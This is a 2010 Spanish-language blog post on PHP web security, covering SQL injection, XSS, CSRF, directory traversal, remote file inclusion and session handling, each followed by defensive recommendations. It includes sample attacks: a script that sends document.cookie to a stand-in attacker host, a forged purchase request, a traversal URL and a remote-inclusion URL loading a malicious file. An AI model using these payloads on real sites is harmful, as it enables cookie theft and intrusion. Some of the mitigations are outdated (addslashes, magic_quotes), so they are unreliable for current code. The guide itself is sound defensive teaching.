LINK DE ESTA PAGINA HTTP://WWW.SECURITYBYDEFAULT.COM/2010/04/SEGURIDAD-EN-PHP.

HTML

SEGURIDAD EN PHP
Autor: Laura García 25 abril 2010 [ 13:00 ]

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de
seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo
las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web,
insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se
ejecute la sentencia invasora.

Se recomienda:

 Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que
los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres
como " ' " o " =" . O si se trata del campo e-mail, podemos utilizar expresiones regulares para
validarlo, comopreg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
 Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia
SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes
caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está
activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST,
y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con
magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)

Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
 Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un
alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía
cookies en una petición.
 Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que
incluyen foros, clientes de correo web, o contenido de RSS.
 Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido.
Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a
evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:

<script>document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie</script>

Se recomienda:
 Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede
adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán
la mayoría de las preocupaciones del XSS.
 Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que
convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una
cadena yutf8_decode ().
 Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que
lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por
ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios.
Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a
la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
 Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede
ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1

Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:

 Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una
acción que involucra una compra.
 Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se
confía enregister_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si
se utiliza $_REQUEST.
 Generar un token único para cada petición y verificarlo posteriormente.
Directory Traversal
Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del
formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de
realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se
almacena en /home/someone/public_html/index.php, un atacante podría
hacer index.php?page=../secretaccediendo a /home/someone/secret.php

Se recomienda:

 Tener un array de páginas válidas.

 Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)

Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se

encuentra en http://site.com/index.php. Un atacante puede hacer esta
petición:http://site.com/index.php?page=http://example.com/malice lo que
provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero
una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una

consulta a base de datos.

Se recomienda:

 No confiar en los datos que no provengan de nuestro sistema.

 Se deben validar los datos que introduce el usuario.

Seguridad en sesiones

Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se
almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:

 Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se

reduce la posibilidad de que el identificador sea interceptado.
 Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la
cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más
segura.

[+] PHP Security Consortium

[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix
Etiquetas: php , security , seguridad

Entrada más recienteEntrada antiguaPágina principal